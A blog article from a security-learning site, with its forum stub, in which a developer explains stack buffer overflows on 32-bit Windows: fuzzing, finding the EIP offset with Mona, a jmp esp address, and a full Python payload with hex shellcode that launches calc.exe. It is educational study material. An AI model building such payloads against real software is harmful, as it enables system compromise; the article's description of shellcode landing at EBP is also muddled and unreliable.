From Dev to InfoSec Part 4: Buffer Overflows Made My Brain Hurt

EH-Net - Bango - From Dev to InfoSec Part 4: Buffer Overflows Made My Brain Hurt - Arnold!While I’ve written a lot of code in my time, I don’t think I’ve ever firmly appreciated how complex it can be to write secure code. We go about our lives taking for granted that our apps will just work, and hopefully the programmers used the right techniques to not get us in trouble. Recently, I’ve started exploring buffer overflows (BOFs) as part of my Penetration Testing Professional (PTP) course by eLearnSecurity. I had heard the term “buffer overflow”  and have actually seen it happen while using an application but never from a security angle. Generally, it appeared as an app crash that was resolved by restarting it, resolving my immediate issue and allowing me to carry on. But I always knew that there was much more happening underneath. This article is a braindump of my deeper exploration into buffer overflows in an attempt to reinforce this new knowledge in my own head. Hopefully it can help you, too.

Having just finished the BOF topic and having a better understanding of what actually causes them, it made me realize a few things:

  • Building a good working BOF is non-trivial.
  • Having a deep understanding of system architectures is a key advantage to building them.
  • I’m grateful for my developer background, since it helped me understand the logic flow.

The premise of a BOF is to be able to identify payloads that can cause a memory corruption error in an application or process, because an invalid instruction has overwritten an important memory space (AKA a register). Hence why having an understanding of system architectures is so important. You’re working to overwrite registers at a machine code level which is basically unreadable without a good debugger like Immunity Debugger or IDA. And unless you’re an expert in assembly code (and sometimes even if your are), it can be challenging in nailing down the flow-control of a binary that you’ve opened up via one of the debuggers. I mean if you can read the following dump from Immunity Debugger, then I congratulate you.

EH-Net - Bango - From Dev to InfoSec Part 4: Buffer Overflows Made My Brain Hurt - Immunity Debugger

Image 1 – Immunity Debugger

What I learned, though, is that you don’t need to be able to read all of that to build and leverage a BOF (at least on a 32-bit system). The hardest part is actually finding a BOF vulnerability. This is why fuzzers are such a vital tool. A fuzzer is a software tool that can be used to flood inputs with random characters until a program crashes, recording the crash info and letting you come back to later to further investigate. Those random chars are what we call a payload.

The Payload

Applications instructions are managed via a memory stack that tracks different points in the app lifecycle including the return memory address of a method caller. The main register that tracks this is the instruction pointer (EIP) and is the key target of BOF exploitation. If we’re able to change the memory address stored by the EIP, we can affect the flow of the application. So if we break it down, we want the following in our payload:

  1. Prepend junk bytes that get us to the EIP memory space
  2. Overwrite the EIP with a command that will point us to the base pointer (EBP) instead of the correct next instruction
  3. Shellcode that runs our exploit code starting at the EBP

Let’s focus on number 1 first.

The payload you’re passing to the application is comprised of junk data and is meant to be long enough to override all of the registers in the stack prior to and including the EIP. This will cause the Windows (in this case) app to crash, because the EIP is now filled with junk data instead of a valid return memory address. Here’s an example of some junk data:

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

This was created using the Mona plugin for the Immunity Debugger and is passed to the app in some fashion like a command-line argument, a file being read into the app or even a banner from an FTP server. By sending this and getting the app to crash, you can begin to narrow down if there’s a BOF to exploit. This is where Immunity Debugger comes in.

By running the app within Immunity Debugger, you’ll be able to grab the EIP register value at the point of the crash and use it to build out the specific amount of junk data the payload will need to overwrite the EIP register. Mona is used again to figure out the offset value based on the EIP value and provide us an accurate figure of junk bytes to prepend. So, let’s say that at the point of the crash, Immunity reports the EIP as 61413761:

EH-Net - Bango - From Dev to InfoSec Part 4: Buffer Overflows Made My Brain Hurt - EIP Value

Image 2 – EIP Value

We can then pass that value to the Mona plugin:

!mona po 61413761

Mona conveniently returns the offset value letting us know that we need 22 bytes of junk data in order to create a payload to overwrite the EIP. From there, we can now write a script that will generate our junk data for us:

EH-Net - Bango - From Dev to InfoSec Part 4: Buffer Overflows Made My Brain Hurt - EIP Value

Image 3 – Offset Value from Mona

Python:

payload = "\xc3"*22 # Junk Bytes

Now this alone won’t exploit the BOF. It’ll only crash the app in a predictable manner, thus working as a makeshift Proof of Concept (POC).

Oh Yeah, About that Base Pointer

I’ve been talking about the EIP all this time, but there’s another super important pointer we need to use and only mentioned briefly above, the Base Pointer (EBP). See the EBP always comes after the EIP in the stack and represents the bottom of the stack frame. The reason that’s so important is because we want to drop our shellcode in that location in memory and then have it called by the EIP.

In order to do this, we need to find a memory space that is fixed and makes either a “call esp” or “jmp esp”. ESP stands for stack pointer and is generally the top of the stack. Well, when you make a call to either of those commands, it sets the ESP to the same position as the EBP!

Looking at our steps again, that would be number 2:

  1. Prepend junk bytes that get us to the EIP memory space
  2. Overwrite the EIP with a command that will point us to the EBP instead of the correct next instruction
  3. Shellcode that runs our exploit code starting at the EBP

That’s exactly what we need in order to point the next instruction to our shellcode. We can use Mona again to find a fixed register that makes one of those calls:

!mona jmp -r esp

This will give you a list of possible registers to use:

EH-Net - Bango - From Dev to InfoSec Part 4: Buffer Overflows Made My Brain Hurt - Registers

Image 4 – List of possible registers

I didn’t have a lot of success with Mona in this regard, so I prefer to use the findjmp tool which seems to provide better results:

findjmp kernel32.dll esp

EH-Net - Bango - From Dev to InfoSec Part 4: Buffer Overflows Made My Brain Hurt - EIP Value

Image 5 – Findjmp

We’ll add one of those to our payload like this:

Python:

payload += "\xF7\xF8\xCD\x76" # jmp esp

That command address is what will get filled into the EIP register causing it to execute a “jmp esp” forcing the ESP to the position of the EBP and setting the next instruction to our shellcode’s position! Windows uses little-endian notation, which is why the register address is in reverse order.

Exploit Please!

We’re almost there, so bear with me a little longer. Looking at our steps again, we’re now at number 3:

  1. Prepend junk bytes that get us to the EIP memory space
  2. Overwrite the EIP with a command that will point us to the EBP instead of the correct next instruction
  3. Shellcode that runs our exploit code starting at the EBP

The easiest way to see if the payload works is to call good ole calc.exe. Remember that we’re working with machine code, so we have to create the call in hex. Here it is:

Python:

payload += ("\x90\x90\x90\x90\x90\x90\x90\x90\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"

"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33"

"\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01"

"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75"

"\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66"

"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"

"\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53"

"\x53\x53\x53\x53\x52\x53\xff\xd7") # call to calc.exe

This is the part that will be stuffed into the stack starting at the EBP position and once “jmp esp” is called, will run execute and display our calculator. Here’s what the whole payload would look like:

Python:

payload = "\xc3"*22 # Junk Bytes

payload += "\xF7\xF8\xCD\x76" # jmp esp

payload += ("\x90\x90\x90\x90\x90\x90\x90\x90\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"

      "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33"

      "\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01"

      "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75"

      "\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66"

      "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"

      "\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53"

      "\x53\x53\x53\x53\x52\x53\xff\xd7") # call to calc.exe

It doesn’t look like much but it’s impressive that such a small bit of code can be used to compromise a system.

Buffer Overflows = Brain Buster

To be clear, I gave a MUCH expedited explanation of how a buffer overflows works, and my code was specific to a 32-bit system. The PTP course material offered much more detail into architecture, BOF mitigations, different register types and tooling. There’s no way I could do the breadth of info justice in this article. But by writing down all of my notes and having to turn it into a legible article helped solidify the concepts in my own mind.

I will say that I came away with a firm appreciation for what malware researchers, reverse engineering experts and exploit authors have to contend with. The small bit of machine code I had to work with made my brain hurt, but it was a valuable exercise. It also put into perspective how simple coding oversights can lead to big issues and vulnerabilities. Now my brain doesn’t hurt quite as much. Hopefully this will lesson the pain for you, too.

 

Author Bio

Rey BangoEH-Net - Bango - From Dev to InfoSec Part 1 – The Journey Begins - Rey Bango Pic is a developer advocate at Microsoft focused on helping developers build awesome cross-browser experiences. He’s an ardent supporter of standards-based development and open-source development. He’s taken an interest in information security, especially appsec, and wants to help build more secure experiences.

All articles by Rey Bango.

Tags:

This topic contains 1 reply, has 2 voices, and was last updated by  Don Donzal 2 weeks, 2 days ago.

  • Author
    Posts
  • #169658
     Rey Bango 
    Participant

    EH-Net - Bango - From Dev to InfoSec Part 4: Buffer Overflows Made My Brain Hurt - Arnold!While I’ve written a lot of code in my time, I don’t think I’ve ever firmly appreciated how complex it can be to write secure code. We go about our lives taking for granted that our apps will just work, and hopefully the programmers used the right techniques to not get us in trouble. Recently, I’ve started exploring buffer overflows (BOFs) as part of my Penetration Testing Professional (PTP) course by eLearnSecurity. I had heard the term “buffer overflow” and have actually seen it happen while using an application but never from a security angle. Generally, it appeared as an app crash that was resolved by restarting it, resolving my immediate issue and allowing me to carry on. But I always knew that there was much more happening underneath. This article is my braindump of my deeper exploration in an attempt to make reinforce this new knowledge in my own head. Hopefully it can help you, too.

    [See the full article at: From Dev to InfoSec Part 4: Buffer Overflows Made My Brain Hurt]

  • #169662
     Don Donzal 
    Keymaster

    Ahnud!

You must be logged in to reply to this topic.

Contact Us

Thoughts, suggestions, issues? Send us an email, and we'll get back to you.

Sending

Copyright ©2018 Caendra, Inc.

Sign in with Caendra

Forgot password?Sign up

Forgot your details?